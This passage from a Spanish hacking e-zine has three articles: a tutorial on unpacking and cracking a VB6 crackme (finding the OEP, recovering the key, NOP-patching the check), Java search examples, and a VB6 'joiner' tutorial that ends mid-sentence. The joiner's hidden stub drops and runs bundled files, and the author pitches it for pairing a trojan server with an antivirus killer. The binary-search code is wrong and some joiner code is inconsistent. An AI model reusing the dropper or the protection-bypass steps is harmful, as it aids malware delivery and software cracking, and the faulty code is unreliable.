Desempacando…: -La forma más rápida, fácil y sencilla: --Encontrando OEP (punto de entrada original): Cabe destacar que el entrypoint que vemos con el Ollly es el EP del packer (upx en este caso), por consiguiente para desempacar el crackme tendremos que encontrar el OEP real del crackme. Cargamos el crackme en Ollly, y vemos que el EP del packer (406A81) nos deja en un PUSHAD, lo pasamos (F8/F9) y vemos que algo se mueve a ESI, vamos a registros, en ESP ponemos las opciones y seleccionamos “Follow in Dump”

Seleccionamos los 4 primeros bytes, que si nos fijamos bien, es lo que contiene EDI, invertido, ponemos un bp (F2) en los bytes que

Page 15: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

seleccionamos y ponemos a correr (F9).

Dumpeo:

Stack:

Registros:

Al ejecutar caemos en un far jmp a 4011BC (dentro de .code [RO:401000 RS:5000]), así que, si mis cálculos son correctos caeremos en el OEP … veamos: Aquí caímos con el 1er BP:

Pasando el jmp (F7/F8) llegamos a 4011BC:

Nuestro OEP real… que porque lo digo? Fijémonos en el área sombreada, esta información nos dice 2 cosas: que estamos en el OEP tan buscado y que el programa esta escrito en VB, porque? analicemos el OEP de otro programa en VB6:

Así caemos en cuenta de que tienen una misma estructura: “PUSH XXXXXXXX CALL XXXXXXXX ADD BYTE PTR DS:[EAX],AL ADD BYTE PTR DS:[EAX],AL ADD BYTE PTR DS:[EAX],AL XOR BYTE PTR DS:[EAX],AL ADD BYTE PTR DS:[EAX],AL INC EAX “ Listo, ya tenemos OEP, ahora podemos pasar a desempacar: OEP=4011BC --Dumpeando…: Yo usare Procdump (una maravilla), aunque claro, hay muchos programas y plugins que permiten hacer esto. Ejecutamos en crackme empacado, abrimos Procdump seleccionamos el crackme y lo dumpeamos.

Ahora abrimos el archivo dumpeado con la opción PE Editor y cambiamos el EP del packer por el OEP que encontramos. También tenemos que quitar la protección anti-desensamblado Cargamos el desempacado en Ollly y WUALA!:

No se sienten como en casa?

Page 16: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Esta técnica podemos también usarla contra otros packers distintos al upx. Ahora veamos: -La forma más difícil, lenta y con más enriquecimiento para los vagos (o simple y sencillamente la forma que utilizan los que ya han practicado lo suficiente) de encontrar el OEP: Cargamos el crackme con PeiD y usamos el plugin llamado “Generic OEP Finder”, y WAO... El numero tan buscado ..xD � ¬¬

-Desempacando, forma #2: Cargamos el crackme en la UPX GUI y seleccionamos “Ejecutar!”, listo… Archivo descomprimido, xD � ¬¬

-CRACKEANDO --1ra forma (encontrado la clave para nuestro nombre por estudio): Algo que tenemos que saber es que con estos tipos de protecciones (nombre-clave) seguramente el programa ara algo con nuestro nombre para generar una clave específica para el nombre así que estudiemos un poco el funcionamiento del programa antes de empezar a poner BPs por todos lados.

Veamos que hace el programa cuando ponemos cualquier cosa:

Como lo esperábamos, nos lleva a la zona del chico malo. Antes de destripar el crackme tengamos en la cabeza 2 cosas: “usemos siempre que estemos estudiando un programa el mismo nombre y clave, así es mas fácil de recordar y la otra es el cartelito del chico malo “Intenta otra cosa amigo!”. Ahora si, destripemos el crackme:

Abrimos las strings references y nos topamos con nuestro cartelito “Intenta otra cosa amigo!” Ahora saltamos allá a ver algo de código. Ahora fíjense en la instrucción que esta 3 instrucciones antes de la string [JMP SHORT dumped.004021CF], deduciendo, la siguiente instrucción será una caída: PUSH EAX PUSH ECX JMP SHORT dumped.004021CF LEA EDX,DWORD PTR SS:[EBP-80]

LEA ECX,DWORD PTR SS:[EBP-40] Ahora vemos que referencias tiene en el código (Ctrl+R) y efectivamente cayo desde un condicional.

Page 17: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Vallamos al salto a ver algo de código:

Viendo el code nos damos cuenta que si el salto no se da caemos en el área del chico bueno, así deduciendo, mas arriba debe haber algún tipo de comparación. Viendo detenidamente vemos una concatenación, esto puede ser importante así que subimos hasta la instrucción después del JMP más cercano, ósea, nos posicionamos en 401FDC, Ctrl+R y vemos de donde cae, y ya me canse de vagar por el code, ponemos un BP en 401FDC y ejecutamos.

Así listos con el BP, corremos el crackme (F9), ponemos los datos falsos:

Pulsamos “COMPROBAR” y caemos en el BP:

Bajamos lentamente a ver algo que nos interese. Fíjense en los registro, podemos ver el nombre junto a la cadena “soy ”:

Bajando un poco, llegamos al cartel del chico malo, y el programa no hizo ninguna otra operación con cadenas. Ahora mantengamos en mente la cadena resultante “soy shadow”:

Probamos la cadena “soy shadow” y…:

Crackme resuelto… CLAVE=”soy “ + nombre 2da forma (encontrando la clave a punta de breakpoints) Muchos recomiendan empezar con esta opción, por lógica la recomiendo también, pero personalmente me gusta primero estudiar el programa y tener un BP con mas probabilidades de ser el que busco que varios que tienen probabilidades menores. Destripamos el crackme, vemos las apis:

Page 18: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Ponemos un breakpoint en cada llamada a StrCmp:

Ponemos a correr (F9) probamos con el nombre y clave falsos y caemos en:

Y en los registros hay:

Bajamos un poco a ver que pasa con el nombre y vemos que si no se puso nada en el nombre va a la zona mala sino es así salta a otro lado. F9 y no rompe en el otro StrCmp:

Esto quiere decir que la comparación de la clave falsa con la verdadera se hace sin StrCmp, así que probamos poniendo BP’s en cada llamada StrCat:

Y...:

Ejecutamos (F9), ponemos los datos falsos, probamos y caemos en:

Y en los registros:

Bajamos una instrucción (F7/F8) y la clave real:

Mas abajo en 40206B la clave falsa se va al stack:

Stack:

Seguimos bajando, se realizan algunas operaciones con las cadenas y llegamos al salto condicional:

Así que probamos “soy shadow” y:

Crackme solucionado.

Page 19: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

3ra forma (parchear): Cuando me refiero a parchear hablo de reemplazar una instrucción, serie de instrucciones, un byte o un bit dependiendo lo que se requiera (pe: un bit para habilitar un botón deshabilitado, una instrucción para detener un conteo, etc.). Esto quiere decir que como solución no tendremos una formula, como en la 1ra forma de crackear que vimos sino que tendremos un programa sin protección. Cabe destacar que esta debería ser nuestra ultima opción al crackear un programa, esta puede se la forma mas sencilla de crackear un programa pero a medida que pasa el tiempo se van presentando problemas y vemos que crackear no solo el parchar, parchar, parchar. Otra cosa que tenemos que tener en mente al parchear es que esto no implica solo buscar el salto al área del chico malo y reemplazarla por instrucciones basura (INC-DEC, NOP, MOV-MOV, etc) sino que también implica lo que conlleva ese salto, pe. que pasaría si tienes que registrar un programa, encuentras el cartel, parchas el salto al cartel, creas el crack, “registras”, pero cuando vuelves a abrir sale que aun no estas registrado? Simple y sencillamente cambiaste el salto pero no la rutina que te registra, es decir, en realidad no te registras, así que literalmente lo único que haces es “hacer que le programa te mienta”…. Esa no es la idea. Pero bueno… tenemos que tener una última opción. Para parchear necesitamos primero que todo una instrucción objetivo la cual cambiaremos. Nuestra protección es del tipo comparación-salto condicional, esto quiere decir que precisamente eso es lo que vamos a buscar una comparación seguida de un salto condicional. En el estudio que hicimos para encontrar la clave del crackme, nos dimos cuenta que en 4020DA hay un salto al área del chico malo y que si ese salto no se da, entramos al área del chico bueno:

Así que tomando en cuenta esa información podemos deducir que si nopeamos la instrucción (reemplazarla por un NOP [mas bien serian 6 NOPs ya que cada NOP es un byte (90) y la instrucción contiene 6 bytes (0F84AE000000)]) se omitirá el salto condicional y siempre presentara el cartel del chico bueno. Así que rellenamos con

NOPs haciendo doble-click en el salto, tenemos que seleccionar “Fill with NOP’s”:

Y nos queda así:

Ahora probamos el crackme nopeado con el nombre y clave inventados (shadow | 363636) y…:

Bueno… solo resta copiar los cambios al ejecutable y ¡Listo! Crackme, crackeado:

El crack lo pudimos haber hecho de muchas formas, yo elegí (según mi forma de ver) buscar la estructura: Código CMP XXXXXXXX J(condicional) área(buena/mala) Código Código Código Y nopear o saltar directo según el caso. También pudimos haber puesto un salto directo en 40218E (bad guy zone ini) a 4020E0 (nice guy zone ini) y teníamos el mismo resultado.

Page 20: CUH E-zine 4ª Edicion

Crackeo básico de programas en VB6 CUH e-zine 4ª edición

Como ya lo dije, tenemos varias opciones al parchear (dependiendo del tipo de protección y esto no es siempre) -Parcheando la memoria: Ahora os enseñare como parchear un programa sin el Ollly, usaremos el PUPE (maravilla de programa) Al abrir el PUPE que el programa nos muestra los procesos cargados en la memoria:

Seleccionamos el proceso que vamos a parchear (dumped.exe), click derecho, patch:

Nos sale una ventanita seleccionamos en # de bytes a parchar (recordemos que el salto contenía 6 bytes), ponemos la dirección del salto a parchar (4020DA), clickamos “Search” y vemos el código del salto (0F84AE000000), en el cuadro de texto de “To change by:” pondremos las instrucciones que reemplazaran el salto (90 [NOP]). Algo que tenemos que recordar es que la cantidad de bytes a cambiar debe ser la misma de la instrucción (obviamente).

Pulsamos “Patching” y memoria parchada:

Probamos el crackme desempacado sin crackear (ósea, aparte de desempacar, no hemos hecho ninguna modificación) y milagrosamente vemos:

Finalmente veamos algunos breakpoints que nos pueden servir para crackear un programa hecho en VB: Comparación de cadenas: __vbaStrCmp __vbaStrComp Comparación de variables: __vbavartsteq Concatenation: __vbaStrCat Estructuras FOR: __vbavarfornext Cajas de mensajes: __rtcMsgBox Bueno, hasta aquí llegamos, espero que les sea de ayuda. Saludos! The Shadow|Shadow [email protected]

Page 21: CUH E-zine 4ª Edicion

Busqueda Secuencial CUH e-zine 4ª edición

A continuación les voy a hablar de los diferentes tipos de búsquedas que existen les voy a dejar explicado un poco el concepto de cada una y el código en Java de las mismas. Que un tipo de búsqueda sea superior a otra ya eso queda a criterio de lo que se quiera hacer, lo que si es cierto es que la búsqueda de tipo binaria es mas rápida porque hace menos comparaciones y por ende es mas rápida. Ahora les voy a dejar la explicación: Busqueda Secuencial En este ocasión voy a explicar los algoritmos de búsquedas secuenciales, este tipo de algoritmos nos facilita la forma de hacer consultas ya sea en una tabla de una base de datos como en un vector o matriz de datos (que al final viene siendo lo mismo que en una base de datos; xD ). Este tipo de búsqueda tiene mas puntos en contra que a favor porque en un vector de N posiciones este algoritmo va a buscar posición a posición hasta dar con el dato solicitado y en el caso de que no exista pues también va a recorrer todo el arreglo. Lo bueno de este tipo de búsqueda es que es muy sencillo de implementar y no se tiene que ordenar el vector si tomamos el ejemplo anterior todavía como valido. Bueno mucha explicación vamos a la practica... Si tenemos un vector ya definido con los siguientes datos: ["aarona","aashta","abelarda","abelia","abigail","abril"] , todos de tipo String y queremos saber si ya existe el nombre : "Abigail" en nuestro vector entonces tenemos que hacer lo siguiente: public class BSecuencial { public static void main(String[] args)throws IOException { BufferedReader entrada = new BufferedReader (new InputStreamReader(System.in)); int encontrados=0; String [] VectorNombres = {"Aarona","Aashta","Abelarda","Abelia","Abigail"

, "Abril"}; System.out.print("Digite el nombre que desea buscar: "); String nombre = entrada.readLine(); // entrada de dato a buscar for (int i=0; i<VectorNombres.length;i++){ if(nombre.equalsIgnoreCase(VectorNombres[i])){ JOptionPane.showMessageDialog(null,"Elemento encontrado "+VectorNombres[i],"Encontrado", JOptionPane.INFORMATION_MESSAGE); encontrados++; continue; } } if(encontrados == 1 ){ System.out.println("Fin de busqueda, encontrado "+encontrados+" elemento igual"); }else{ System.out.println("Fin de busqueda, encontrados "+encontrados+" elementos iguales"); } } } Con este código ya están listos para usar las búsquedas secuenciales y utilizarlas para casos mas complejos.

Busqueda binaria o búsqueda dicotómica

Es un algoritmo de búsqueda que para realizarla, es necesario contar con un arreglo o vector ordenado. Luego tomamos un elemento central, normalmente el elemento que se encuentra a la mitad del arreglo, y lo comparamos con el elemento buscado. Si el elemento buscado es menor, tomamos el intervalo que va desde el elemento central al principio, en caso contrario, tomamos el intervalo que va desde el elemento central hasta el final del intervalo.

Procedemos de esta manera con intervalos cada vez menores hasta que lleguemos a un intervalo indivisible, en cuyo caso el elemento no está en el vector, o el elemento central sea nuestro elemento.

Page 22: CUH E-zine 4ª Edicion

Busqueda Secuencial CUH e-zine 4ª edición

Yo esta búsqueda la voy a hacer de manera iterativa pero se puede utilizar recursion también: public static void Buscar(int [] vect,int valor){ int pivote = vect.length/2; for (int i=0; i < vect.length;i++){ System.out.println(vect[i]); } if (valor < pivote){ for (int x=0;x < pivote;++x){ if (valor == pivote){ System.out.println("Encontrado posicion "+pivote); break; }else if (valor == vect[x]){ System.out.println("Encontrado posicion "+x); break; } } }else if(valor < pivote){ for (int x=pivote;x < vect.length;++x){ if (valor == pivote){ System.out.println("Encontrado posicion "+pivote); break; }else if (valor == vect[x]){ System.out.println("Encontrado posicion "+x); break; } } }else{ System.out.println("Elemento no encontrado >:("); } }

Saludos...........8) [p3ll3]

Page 23: CUH E-zine 4ª Edicion

Creando un joiner CUH e-zine 4ª edición

Comenzare explicando que es lo que haremos, una explicación teórica como para que vayan entendiendo de lo que hablo, y luego pasaremos a lo practico. Les daré mi definición de Joiner, aunque no creo que haya alguna contradicción ya que la misma palabra lo dice todo. Joiner, traducido al español significa “Juntador” que vendría de la palabra Join que traducido es “Juntar”. La función básica de un joiner es juntar ficheros, y dejarlos en un solo fichero final (por lo general ejecutable). Es como una especie de compresor, como lo es WinRAR, pero con la diferencia que el joiner esta compuesto por un Stub (Ya veremos lo que es) que hará que todos los ficheros unidos se ejecuten (en algunos casos el programador le da la posibilidad al usuario de ejecutar algunos ficheros y otros no). Bueno, resumamos esto en: Un joiner es un programa encargado de juntar 2 o más ficheros de cualquier tipo, dejando un solo fichero final. Este tipo de aplicaciones se utilizan mucho (en el mundo del underground informático) para juntar (por ejemplo) el servidor de un troyano y un KillAV (Matador de antivirus), haciendo que al ejecutar el fichero que los contiene se ejecuten los dos, matando el antivirus de la victima y permitiendo la absoluta ejecución del servidor. Pacemos a lo “interesante” del articulo, veremos como trabaja un joiner, o mejor dicho, como trabajara nuestro joiner. Debo aclarar que la interfaz grafica pasa por cuenta del programador, como así también las funciones y las opciones que puede presentar el programa. Lo que conforma el Joiner en si, se podría decir que son dos aplicaciones. Una será la principal, lo que el usuario ve y con lo que interactúa. La otra será el Stub, pero… ¿Qué es esto? El Stub será la “cabecera” (por así decirlo) del ejecutable que se generara, luego irán los otros ficheros. Entonces la ejecución del fichero generado seria algo así: STUB | FICHERO1 | FICHERO2 | FICHERO3

El Stub tendrá la orden de separarse, es decir en dividirse en tantas partes como ficheros halla, en este caso serian en 4 partes, donde a la primera no se le da importancia. Las otras tres serán los ficheros. Entonces una vez que se halla dividido el fichero, se copiara el contenido de las partes (menos la primera) en ficheros individuales (que los creara el stub) y serán ejecutados…. Se que no quedo bien explicado pero luego lo irán entendiendo mejor. Bueno, dividiremos el articulo en dos partes, la primera será la programación del Stub y la segunda la programación del Joiner… Veamos:

Programando el Stub: Para esto vamos a necesitar poder ejecutar cualquier tipo de fichero, para ello podríamos usar la sentencia “Shell”, pero con esto no podremos ejecutar ficheros txt, claro que podemos armar toda una historia, leyendo el registro, obteniendo su programa por defecto y ejecutarlo con el, pero seria mas sencillo utilizar la API ShellExecute ;) Así que ya sabemos como ejecutar los ficheros que serán generados, es solo declarar la API y pasarle como parámetro el fichero. Pero ¿Qué ficheros ejecutara? Pos los que creara el stub cuando se ejecute… ¿Y como los creara? Es muy facil, pero ya lo veremos mas adelante. Para la creación de ficheros debemos conocer las formas de crear, abrir para escribir/leer/escribir y leer un fichero de forma común y binaria. Ahora solo utilizaremos la forma de apertura de lectura y lectura-escritura en modo binario. Si no sabes como hacer esto, pégale un vistazo a esto, ya que no lo explicare: http://support.microsoft.com/kb/151335/es Bueno, supondré que de ahora en mas ya saben manejar los archivos de modo binario, así que sigamos… Como dije antes, debemos dividir el fichero en tantas partes como ficheros halla (mas el stub). Para hacer esto, debemos saber que cuando se genero el fichero se marco el final de cada fichero con una marca especial, supongamos que dicha marca fue “|MARCA|”. Entonces el fichero en modo de cadena se vería así: Stub|MARCA|Fciehro1|MARCA|Fichero2|MARCA|F

ichero3

Así que, sabemos que debemos dividir el fichero donde dice “|MARCA|”. Para esto Tenemos la función “Split” de VB que nos permite separar una cadena indicándole una cadena en donde debe separar. Split nos devolverá un array con un índice menor (0) y un índice mayor (igual a la cantidad de divisiones que se hizo); en nuestro caso tendríamos un array que iría de 0 a 3, donde lo único que nos interesa son 1,2,3 ya que 0 será el Stub. Así que tendremos el contenido de lo ficheros dentro de un array, ahora debemos ubicar estos datos dentro de sus respectivos ficheros. Esta es una parte media

Page 24: CUH E-zine 4ª Edicion

Creando un joiner CUH e-zine 4ª edición engorrosa y que se puede hacer de distintos métodos, pero la más fácil es la que explicare: Para saber que tipo de fichero crear, cual será su nombre, etc. debemos incluir estos datos en el stub, así que debemos hacer dos tipo de divisiones. Una será para separar los ficheros y otra para separar los datos de cada fichero. Les daré un ejemplo para que lo entiendan mejor: Tenemos 2 ficheros: FICHERO 1: NOMBRE: “Mi imagen.jpg” CONTENIDO: “ÿØÿà �JFIF ��� ` ` ÿÛ” FICHERO 2: NOMBRE: “Lecturas.txt” CONTENIDO: “E� QE� V~¶�&‹tˆ¥™“�” Como pueden ver estamos hablando de su contenido como bits y no como su contenido dentro del fichero, es decir, que no vamos a tomar lo que dice dentro el fichero txt sino que vamos a tomar sus bits (en el caso de un fichero de texto). A lo que voy, es que trabajaremos a todos los ficheros de forma binaria. Estos ficheros los debemos separar por una marca, pero a su vez también debemos separar por otra marca sus datos. Primero vamos a hacer lo último, separaremos el contenido de cada archivo, para ello podría ser algo así: FICHERO 1: “Mi imagen.jpg|M1| ÿØÿà �JFIF ��� ` ` ÿÛ” FICHERO 2: “Lecturas.txt|M1|� QE� V~¶�&‹tˆ¥™“�” Así tenemos separado los datos de los archivos por una marca, que en nuestro ejemplo es “|M1|”. Ahora juntaremos a FICHERO 1 y a FICHERO 2 en uno solo, separándolos por otra marca, que será “|M2|”: FICHERO FINAL: “Stub|M2|Mi imagen.jpg|M1| ÿØÿà �JFIF ��� ` ` ÿÛ|M2| Lecturas.txt|M1|� QE� V~¶�&‹tˆ¥™“�” Así nos quedaría al final, con el Stub primero, luego el FICHERO 1 con sus datos separados por la marca |M1| y luego el fichero 2 cuyos datos están divididos de la misma forma… Espero que hallan entendido mas o menos como viene la mano, pero seguro que cuando empecemos a programar se darán cuenta y tendrán una idea mas lucida de todo esto. Así que vamos a programar!!! El orden para programar el Stub será este:

1. INTRODUCIR LA API ShellExecute 2. COPIAR EL FICHERO PARA PODER ABRIRLO Y

LEERLO 3. LEER EL FICHERO Y OBTENER TODO SU

CONTENIDO 4. SEPARAR EL CONTENIDO DEL FICHERO A

TRAVEZ DE LA MARCA QUE DIVIDE A CADA ARCHIVO JUNTADO.

5. DE CADA ARCHIVO OBTENIDO, SEPARAR SUS DATOS

6. REHACER EL FICHERO DE ACUERDO A LOS DATOS OBTENIDOS.

7. EJECUTAR LOS FICHEROS CREADOS. En fin, comencemos, abrimos el VB, en mi caos será la versión 6.0, creamos un nuevo proyecto y acomodamos el formulario. Esta claro que no se debe visualizar la ventana del Stub, es decir que va a ser invisible. Así que acomodemos su propiedad “Visible” y la ponemos en “False”. Con eso ya tenemos un cambio, le damos a guardar para salvar le proyecto y seguimos. Ahora vamos a declarar la API ShellExecute, no es necesario crear un modulo, aunque si quieres tener las funciones bien ordenaditas, te vendría bien. Pero yo trabajare todo sobre le form, ya que no necesitamos compartir información con otra parte del proyecto. Así que vamos a la parte de código de nuestro proyecto, y nos situamos en la parte superior de él. Allí declaramos la API de la siguiente manera: Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Como verán, la declaración es privada, eso es porque la eh introducido en el formulario y no deseo compartirla con otras partes del proyecto. Asta aquí todo bien, ya tenemos como ejecutar los ficheros. Ahora sigamos… Como mencione antes debemos leer el fichero ejecutado, es decir, debemos leernos a nosotros mismos, pero para esto primero debemos copiarnos en algún lado ya que sino Windows no nos dejara. El lugar mas elegido (y mas acorde) para copiarnos seria el directorio Temp (Temporal). Pero para esto antes debemos obtenerlo usando (como método más sencillo) el objeto FileSystemObject. Y sinceramente les digo que no tengo ganas de alargar mas el articulo con esto ya que presumo que ya saben como hacerlo, así que esto correrá por cuenta suya, yo lo copiare directamente en el mismo directorio donde se esta ejecutando pero con la abreviatura “Tmp” antes y con extensión “.dat”. Les recuerdo que todo esto se hace en el momento en que se ejecuta el fichero, así que debemos trabajar sobre el evento “Form_Load”. Pero para que no nos quede desordenado, solo añadiremos una llamada a una función que hará la tarea, y así también haremos con las otras funciones, por esto no se preocupen, ya lo entenderán cuando vayamos alargando el code… Para copiarnos no haré una función aparte, ya que seria medio inútil poner solo la función de copiar dentro de una función, seria lo mismo ponerlo directamente, pero cada cual lo hace como quiera yo lo pondré en el Form_Load: Private Sub Form_Load() FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\tmp" & App.EXEName & ".dat" End Sub

Page 25: CUH E-zine 4ª Edicion

Creando un joiner CUH e-zine 4ª edición No veo la necesidad de explicar el código, ya lo deberían entender… Bueno, cada vez nos adentramos más a lo “difícil”, ahora abriremos de forma binaria la copia y obtendremos su contenido, el cual almacenaremos en una variable, veamos código, y luego explicación: Agregaremos una llamada a la función en el evento Load del Formulario (lo programado anteriormente, es decir debajo de la función “FileCopy”, y nos quedaría así: Private Sub Form_Load() FileCopy App.Path & "\" & App.EXEName & ".exe", App.Path & "\tmp" & App.EXEName & ".dat" Call LeerFichero End Sub Luego la funcion: Private Sub LeerFichero() Dim TodoElContenido As String Open App.Path & "\tmp" & App.EXEName & ".dat" For Binary Access Read As #1 Get #1, , TodoElContenido Close #1 End Sub Explicare la función para que entiendan bien: Primero declaramos la variable “TodoElContenido” como cadena, donde se almacenara luego el contenido del fichero. Después abrimos de forma binaria para leer la copia hecha anteriormente. Luego de esto, utilizamos “Get” para obtener el contenido del fichero y almacenarlo en la variable. En la cuarta linea esta “Close” que cierra el fichero abierto y listo. Ahora tenemos todo en la variable “TodoElContenido”, así que podemos proceder a separar esto y obtener cada fichero, para esto ya dije que usaríamos Split, lo que haremos será llamar desde la función “LeerFichero” a otra función, la llamaremos “ObtenerArchivos” y en esta ultima función nos dedicaremos a obtener cada unos de los archivos incluidos en el fichero “.dat” (la copia nuestra). Pero a la función, más bien al Sub que crearemos debemos pasarle como parámetro la cadena que tiene que separar, es decir el contenido de la variable “TodoElContenido”. Veamos, agregamos la llamada en la función y nos queda así: Private Sub LeerFichero() Dim TodoElContenido As String Open App.Path & "\tmp" & App.EXEName & ".dat" For Binary Access Read As #1 Get #1, , TodoElContenido Close #1 Call ObtenerArchivos(TodoElContenido) End Sub Procedemos a crear el sub:

Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Archivo = Split(CadenaADividir, "|M1|") End Sub Es importante tener en cuenta que la marca que se va a utilizar debe ser la misma que se pondrá en el joiner cuando se junten los archivos. En mi caso use la marca “|M1|”. Como ven en el código, declare la variable “Archivo” como un array, con los paréntesis, pero no le di ningún valor. Esto es porque no sabemos cuantos ficheros pueden ir juntados y Split se encargara de darle un valor máximo, aunque si ustedes le quieren poner un máximo de ficheros a juntar lo pueden hacer… Luego la utilización de Split, simplemente igualamos la variable ”Archivo” a la sintaxis de Split que es: “Split(CADENA, MARCA)”. Ya tenemos los archivos, ahora debemos obtener su contenido. Para hacer esto debemos volver a utilizar la funcion Split, y lo que haremos sera facil. Pero antes de hacerlo les explicare sobre “LBound” y “UBound”, estas dos nos sirven para obtener el valor mínimo y máximo, respectivamente, de un array. Es decir que con LBound podemos obtener el índice menor del array y con UBound el máximo. Estas dos las utilizaremos para recorrer el array y poder “listar” uno por uno los Archivos obtenidos. Si no entendieron ya se darán cuenta (siempre digo lo mismo, espero que lo hagan). Usaremos un bucle para recorrer el array, y obtener en la variable del bucle, es decir en “i” para nuestro caso el índice actual del array (ya lo verán). Así que vamos a hacer otra declaración, de otro array que será llamada “Datos” y será de tipo cadena: Dim Datos() As String Esto lo ponemos debajo de la declaración de la variable “Archivo”. Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Dim Datos() As String Archivo = Split(CadenaADividir, "|M1|") For i = LBound(Archivo) To UBound(Archivo) Datos = Split(Archivo(i), "|M2|") Next i End Sub Es sencillo, hacemos un bucle desde el índice menor del array hasta el mayor. En “i” vamos a tener el índice actual, así que luego usamos Split para separar los datos de la variable “Archivo(i)” es decir la variable Archivo con índice igual a i, lo que seria, para el primer incide seria “Archivo(0)”, para el segundo “Archivo(1)” y todo así… Los datos los separaremos por la marca “|M2|”. Aquí deben acordarse que dato pusieron primero, si el nombre o el contenido del archivo, ya que vamos a tener en la variable datos 2 índices para un índice de la variable Archivo. Es decir, que el contenido de “Datos(0)” y “Datos(1)” corresponden a “Archivo(0)”.

Page 26: CUH E-zine 4ª Edicion

Creando un joiner CUH e-zine 4ª edición Quizás esto nos complique un poco, pero ya veremos una forma de que no… Veamos, hasta ahora hemos obtenido cada archivo que se había juntado con nuestro joiner (recuerda que empezamos de lo ultimo, ya que estamos hablando como si los archivos estén ya juntados) ahora los debemos armar, para saber que extensión lleva y que nombre ponerle debemos obtener el contenido de la variable “Datos” correspondiente. Por ejemplo, para el primer archivo, el nombre se ubica en “Datos(0)”… Así que creamos una función que arme los archivos según sus datos, ¿Cómo hacemos esto? Veraz, si te pones a pensar un poco, si, es medio difícil eso de dos valores de “Datos” para uno de “Archivo” (Datos y Archivo son las variables, recuerda)… Pero hay una formulita que nos permitirá saber que índices de la variable datos le corresponde al índice actual de la variable “Archivo”, esta formulita se podría representar así: “Nombre = N + N” y “Contenido = N + N + 1”. Pasemos a lo que es código, vamos a agregar otro bucle al Sub “ObtenerArchivos” similar al que hicimos anteriormente pero para la variable “Archivo”. Vamos a crear otro Sub que va a ser el que armara los archivos, a esta rutina vamos a pasarle como parámetros el nombre del archivo que se quiere crear y su contenido, seria algo así: Private Sub ArmarArchivo(Nombre As String, Contenido As String) End Sub Luego vamos a agregar un bucle que ira desde el índice menor del array “Archivo” hasta su índice mayor. Al igual que como lo hicimos antes, ahora en la variable del bucle (en mi ejemplo será “j”) tendremos el índice actual de la variable “Archivo” y con las formulas anteriores obtendremos sus datos correspondientes sobre la variable “Datos”. Es medio confuso, pero seguro que si lo ven… bue, ya saben ^^ For j = LBound(Archivo) To UBound(Archivo) Call ArmarArchivo(Datos(j + j), Datos(j + j + 1)) Next j Así como vez, llamamos al Sub “ArmarArchivo” y usamos las formulas para obtener el índice correspondiente del array “Datos”, los cuales son pasados como parámetros. Así que nos quedaría así: Private Sub ObtenerArchivos(CadenaADividir As String) Dim Archivo() As String Dim Datos() As String Archivo = Split(CadenaADividir, "|M1|") For i = LBound(Archivo) To UBound(Archivo) Datos = Split(Archivo(i), "|M2|") Next i For j = LBound(Archivo) To UBound(Archivo) Call ArmarArchivo(Datos(j + j), Datos(j + j + 1)) Next j End Sub

Ahora vamos a hacer el Sub “ArmarArchivo”, lo que haremos será abrir de forma binaria (en realidad crear) un archivo cuyo nombre será el que se paso por los parámetros y la ubicación será el directorio actual de trabajo (esto, como dije antes, lo deben arreglar ustedes a su manera). Miren: Private Sub ArmarArchivo(Nombre As String, Contenido As String) Open App.Path & "\" & Nombre For Binary Access Write As #1 Put #1, , Contenido Close #1 End Sub Así de simple es, con eso ya estaríamos, ahora solo nos falta ejecutar los archivos, es simple, le vamos a agregar al sub “ArmarArchivo” una llamada a la API ShellExecute que se encargara de ejecutar el fichero con su programa correspondiente: El código les debe quedar así: Private Sub ArmarArchivo(Nombre As String, Contenido As String) Open App.Path & "\" & Nombre For Binary Access Write As #1 Put #1, , Contenido Close #1 Call ShellExecute(Me.hwnd, "Open", App.Path & "\" & Nombre, "", "", 1) End Sub Y listo! Hemos terminado de programar el Stub, ahora debemos proceder con el joiner…

Programando el Joiner: Bueno, aquí no voy a poner el código armado, sino que voy a explicar las funciones y voy a enseñar como hacer las cosas, pero no voy a decir que controles usar, todo esto correrá por cuenta suya… La primera función que crearemos será la que nos permitirá leer los archivos y obtener su contenido. Empecemos: Private Sub LeerArchivo(File As String) Dim Contenido As String Dim Todo As String Dim Datos As String For i = 0 To List1.ListCount Open List1.List(i) For Binary Access Read As #1 Get #1, , Contenido Close #1 Datos = Contenido & "|M1|" & Right(List1.List(i), InStrRev(List1.List(i), "\")) Todo = Todo & "|M2|" & Datos Next End Sub Bueno, lo que hacemos aquí es hacer un bucle por cada elemento de la lista (cada elemento es un archivo). En

Page 27: CUH E-zine 4ª Edicion

Creando un joiner CUH e-zine 4ª edición este caso es porque yo eh elegido almacenar los archivos que escogió el usuario en una lista, me resulto mas fácil que nada. Así que vamos de uno en uno por lo archivos, y los abrimos de forma binaria, los leemos y almacenamos su contenido en la variable “Contenido”. Luego la variable “Datos” va a tener el contenido del archivo y el nombre del archivo (el cual obtenemos manejando la cadena que contiene la ruta completa del fichero) separados por la marca “|M1|”. Luego agregamos a la variable “Todo” la variable “Datos” separando lo que había antes y lo que agregamos nuevo por una marca: “|M2|”. Así que cuando ya se hallan terminado los archivo, nos quedara todo en la variable “Todo”, y solo nos resta agregárselo al Stub. Ahora debemos ubicar el Stub, por lo general se encuentra en el mismo directorio que el joiner pero con extensión “.dll”, todo depende del programador. Yo lo haré como si el Stub se ubicara en el mismo directorio que el joiner, con el nombre “Stub” y la extensión “.exe”… Así que lo buscamos y lo copiamos a otro directorio. Filecopy App.Path & “\” & App.EXEName & “.exe”, Text1.Text Bueno, como ven he puesto como destino “Text1.Text” esto es porque yo puse un TextBox donde el usuario indica donde quiere que se cree el archivo final. Ahora debemos abrir el Stub y añadirle lo que tenemos en la variable “Todo”… Open Text1.Text For Binary Access Write As #2 Seek #1, EOF(1) Put #1, , Todo Close #1 Bien, lo que hacemos aquí es abrir el Stub (su copia) de modo binaria para escritura. Usamos Seek para 